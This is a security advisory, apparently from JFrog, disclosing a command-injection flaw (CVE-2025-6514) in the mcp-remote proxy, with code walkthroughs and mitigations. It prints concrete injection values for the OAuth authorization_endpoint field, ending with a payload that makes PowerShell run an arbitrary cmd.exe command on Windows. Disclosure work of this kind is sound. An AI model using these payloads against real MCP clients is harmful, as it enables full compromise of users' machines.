Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients
Why you shouldn’t connect to untrusted MCP servers
The JFrog Security Research team has recently discovered and disclosed CVE-2025-6514 – a critical (CVSS 9.6) security vulnerability in the mcp-remote project – a popular tool used by Model Context Protocol clients. The vulnerability allows attackers to trigger arbitrary OS command execution on the machine running mcp-remote when it initiates a connection to an untrusted MCP server, posing a significant risk to users – a full system compromise.
mcp-remote is a proxy that enables Large Language Model (LLM) hosts such as Claude Desktop to communicate with remote MCP servers, even if natively they only support communicating with local MCP servers.
While previously published research has demonstrated risks from MCP clients connecting to malicious MCP servers, this is the first time that full remote code execution is achieved in a real-world scenario on the client operating system when connecting to an untrusted remote MCP server.
We would like to thank Glen Maddern (@geelen), mcp-remote’s primary maintainer, for promptly fixing this vulnerability.
Who is affected by CVE-2025-6514?
The vulnerability affects mcp-remote versions 0.0.5 to 0.1.15, and is fixed since version 0.1.16.
Anyone using mcp-remote that connects to an untrusted or insecure MCP server using an affected version is vulnerable to this attack.
On Windows, we have proven that this vulnerability leads to arbitrary OS command execution (shell commands with full parameter control).
On macOS and Linux, the vulnerability leads to execution of arbitrary executables with limited parameter control. Arbitrary OS command execution on these platforms may be achievable with further research.
Attack scenarios:
- Scenario 1 – An MCP client uses mcp-remote to connect to an untrusted (hijacked or malicious) MCP server.
Figure 1: MCP client uses mcp-remote to connect to an untrusted MCP server.
- Scenario 2 – An MCP client uses mcp-remote to connect to an MCP server insecurely (server’s URL scheme is http) – while attackers in the local LAN perform a man in the middle attack to hijack the MCP traffic. This is a likely scenario inside local networks, since MCP clients are more likely to trust LAN-based MCP servers and connect to them insecurely.
Figure 2: An MCP client uses mcp-remote to connect insecurely to an MCP server while local attackers redirect/control the MCP traffic
How can CVE-2025-6514 be mitigated?
Performing any of the following steps will mitigate CVE-2025-6514:
- Update mcp-remote to version 0.1.16, which includes a fix for this vulnerability. This is the recommended solution.
- Only connect to trusted MCP Servers, using HTTPS (secure connection).
MCP Transport – Local vs Remote
Model Context Protocol (MCP) is an open standard that emerged in November 2024 and gained immediate traction and adoption. It enables AI assistants and LLM hosts to securely connect to and interact with external data sources, tools, and services in real-time. It allows these AI systems to access live information from databases, APIs, and applications while maintaining security and user control over what data the models can access.
Figure 3: LLM Application uses a local MCP Server running on the same machine
Initially, MCP servers were deployed locally, running on the same machine as the LLM application. Remote MCP servers have since emerged, enabling multiple LLM applications to share the same MCP server instance, while reducing the operational burden of maintaining and updating servers across individual installations.
Figure 4: LLM Application uses a remote MCP Server by locally talking to mcp-remote, that proxies the communication to the remote MCP Server over HTTP
The mcp-remote tool gained popularity in the AI community when remote MCP server implementations began to emerge, while most MCP clients still only supported connecting to local servers.
This tool enables applications that only support local MCP transport via STDIO, like Claude Desktop, Cursor, and Windsurf, to connect with remote MCP servers via HTTP transport by serving as a proxy.
mcp-remote is widely used, as can be seen in Cloudflare’s official Docs, auth0 integration docs, Hugging Face’s blog, and tutorials for remote MCP adoption.
Note that in recent weeks – LLM hosts such as Cursor and Windsurf have added the ability to directly connect to remote MCP Servers. Additionally – Anthropic added this capability to Claude Desktop users with paid subscriptions.
CVE-2025-6514 Summary
When users want to configure their LLM host, such as Claude Desktop, to connect to a remote MCP server, they edit Claude’s configuration file to add an mcp-remote command with only the remote MCP server’s URL.
{
"mcpServers": {
"remote-mcp-server-example": {
"command": "npx",
"args": [
"mcp-remote",
"http://remote.server.example.com/mcp"
]
}
}
}
Figure 5: Sample MCP json configuration file that configures a remote MCP server using mcp-remote
Upon saving the configuration or restarting Claude Desktop, mcp-remote begins initial communication with the MCP server. The server may ask it to authenticate, and mcp-remote goes on to ask the server for metadata of its OAuth endpoints. The server responds with its authorization_endpoint
URL (e.g. https://remote.server.example.com/authorize) among other values, to be opened in a browser for the user to enter their credentials.
To trigger the vulnerability – a malicious MCP server can respond with a specially crafted authorization_endpoint
URL value as can be seen in the figure below:
Figure 6: mcp-remote initializes connection with a malicious MCP Server
mcp-remote will try to open this crafted URL in a browser, which, due to CVE-2025-6514, will cause a command injection, allowing the attacker to achieve arbitrary OS command execution.
Figure 7: calc.exe running as a result of our exploit
CVE-2025-6514 Technical Details
mcp-remote serves as a proxy between local (STDIO) MCP transport and remote (Streamable/SSE – HTTP based protocols) transport, while providing authentication/authorization capabilities.
For setting up a new remote MCP Server using mcp-remote, the user only has to add the server’s URL in the MCP Client’s JSON configuration file – as shown in Figure 5 above.
Upon re-opening the MCP Client’s application, as in the case of Claude Desktop, it runs the supplied npx command, creates a Node process, and starts mcp-remote’s proxy.ts:runProxy
function with the serverUrl
parameter provider in the above config file.
This function constructs a NodeOAuthClientProvider
object that is to be used in case the remote server requires authorization.
Eventually, a StreamableHTTPClientTransport
object is created and its send
method gets invoked with the supplied serverUrl
parameter. The request, in this case to “http://remote.server.example.com/mcp”, will encounter a “401 Unauthorized” response from the “malicious” server – leading it to call the auth.ts:auth
function to begin authorization.
Let’s see what happens in the auth
function, which has been simplified for clarity:
export async function auth(
provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
let authorizationServerUrl = serverUrl;
try {
/* ### 1 ### */
const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
resourceMetadataUrl || serverUrl);
/* ... */
} catch (error) {console.warn("Could not load OAut..", error)}
/* ### 2 ### */
const metadata = await discoverOAuthMetadata(authorizationServerUrl);
// Handle client registration if needed
let clientInformation = await Promise.resolve(provider.clientInformation());
if (!clientInformation) {
/* ... */
/* ### 3 ### */
const fullInformation = await registerClient(serverUrl, {
metadata,
clientMetadata: provider.clientMetadata });
/* ... */
}
/* ... */
// Start new authorization flow
/* ### 4 ### */
const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
metadata,
clientInformation,
redirectUrl: provider.redirectUrl,
scope: scope || provider.clientMetadata.scope,
});
await provider.saveCodeVerifier(codeVerifier);
/* ### 5 ### */
await provider.redirectToAuthorization(authorizationUrl);
return "REDIRECT";
}
Figure 8: Simplified snippet of auth function from auth.ts (official MCP Typescript SDK)
This function is used for starting the OAuth authorization flow. Let’s follow through the ### numbered inline comments:
- We skip
discoverOAuthProtectedResourceMetadata
’s logic by returning 401 Unauthorized from our server to this function’s fetch request (http://remote.server.example.com/.well-known/oauth-protected-resource) - Then
discoverOAuthMetadata
is called, fetching OAuth metadata from our server’s /.well-known/oauth-authorization-server endpoint, which returns a JSON object listing OAuth endpoints and configuration parameters. Included in this response is the authorization_endpoint field. Its value typically contains a standard HTTP URL used for authenticating users, but for triggering a command execution the malicious server returns a crafted value:
{“authorization_endpoint”: “file:/c:/windows/system32/calc.exe“,
“registration_endpoint”: “https://remote.server.example.com/register”,
/* … */
“code_challenge_methods_supported”: [“S256”]}
- It proceeds to dynamic client registration: accessing our /register endpoint – we give a valid answer so flow continues.
- The
startAuthorization
function is called (see below) and uses themetadata.authorization_endpoint
string we supplied in step 2 above to construct a new URL(). It then adds query-string parameters to it and returns it:
export async function startAuthorization(
serverUrl, {metadata, clientInformation, redirectUrl, scope } {
if (metadata) {
authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
/* ... checks some metadata params that pass ... */
}
/* ... */
/* adding searchParams (query-string) to the authorizationUrl */
authorizationUrl.searchParams.set("response_type", responseType);
/* ... */
return { authorizationUrl, codeVerifier };
}
Figure 9: Simplified snippet of startAuthorization function from auth.ts (official MCP Typescript SDK)
- Then
provider.redirectToAuthorization(authorizationUrl)
calls theredirectToAuthorization
method of ourNodeOAuthClientProvider
object, which resides in node-oauth-client-provider.ts:
async redirectToAuthorization(authorizationUrl: URL): Promise {
log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
try {
await open(authorizationUrl.toString()) /* ### 6 ### */
log('Browser opened automatically.')
} catch (error) {
/* ... *
}
}
Figure 10: Simplified snippet of redirectToAuthorization function from node-oauth-client-provider.ts
- The
open
() function is imported from the ‘open’ npm package.open(param)
does the following on Windows machines*:- Finds powershell.exe’s path
- Prepares a PowerShell encoded-command that will run the param argument.
- Runs it in a new subprocess with the following command line:
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB….=‘
- PowerShell decodes the command and runs it. In our case – it will execute calc.exe:
Start “file:/c:/windows/system32/calc.exe?response_type=code…..”
* The ‘open’ package uses different code paths on macOS and Linux, executing “open URL” or “xdg-open URL” respectively. While these implementations can also be exploited to run arbitrary executables through file:// URLs, the attack surface is more limited since no shell is invoked, restricting the ability to control the executable’s arguments.
From limited to full command execution
The Start
keyword, which refers to PowerShell’s Start-Process
cmdlet, can run an executable file, or pass it to Windows Shell for file extension associations or protocol handlers (URI schemes).
Because the authorization_endpoint
string is used for constructing a new URL()
, it must be in valid URL format, starting with a URI scheme.
When supplying “file:/c:/windows/system32/calc.exe?response_type=code…..” – the file: URI scheme will be used to execute the calc.exe executable.
Figure 11: mcp-remote executes the calc.exe process while intending to open a browser for authorization
Now we have the ability to run any executable, but without arguments – which isn’t useful enough.
We can attempt to execute a remote file by using URLs such as “file://IP_ADDR/Share/test.bat?response_type=code…..”, which points to a UNC path for accessing network resources (note the double backslashes).
It works – but Windows pops a security warning about running a remote executable:
Figure 12: Security warning that shows as a result of trying to execute a UNC path
Let’s try a different strategy – since the command runs inside a PowerShell, we can abuse the subexpression evaluation feature for injecting our commands: “http://www.example$(calc.exe).com/?response_type=code…..”. This will run calc.exe, due to the subexpression operator $( ), which will evaluate (run) its parameter expression.
If we were able to supply a “space” character, this technique would allow us to inject arbitrary parameters to the command, but because our string went through URL()
, and space is not a valid character in URLs, it will either fail the new URL()
call – if inside the domain – or get URL encoded to %20
. For example, this input “http://www.example.com/$(cmd.exe /c echo test)” is translated to “http://www.example.com/$(cmd.exe%20/c%20echo%20test)/?response_type=code…..”
The same happens for “file:” attempts.
Eventually, we noticed that supplying a non-existing scheme that doesn’t include a backslash – doesn’t get URL-encoded. Thus, we can supply “a:$(cmd.exe /c whoami > c:\\temp\\pwned.txt)?response_type=code…..” and achieve full command execution!
Figure 13: A new pwned.txt file created in C:\temp as a result of our cmd.exe /c command – proving the code execution succeeded.
Summary
With the discovery of CVE-2025-6514, we’ve shown that remote code execution is possible when connecting to untrusted MCP servers. As mentioned, LLM hosts such as Cursor, Windsurf and Claude have now added similar remote MCP connection capabilities. MCP users must take special care to connect only to trusted MCP servers using secure connection methods (HTTPS) since similar vulnerabilities to CVE-2025-6514 could be discovered in the ever-growing MCP ecosystem.
To stay on top of other attacks and zero-day vulnerabilities, make sure to check out the JFrog Security Research center for the latest on CVEs, vulnerabilities and fixes.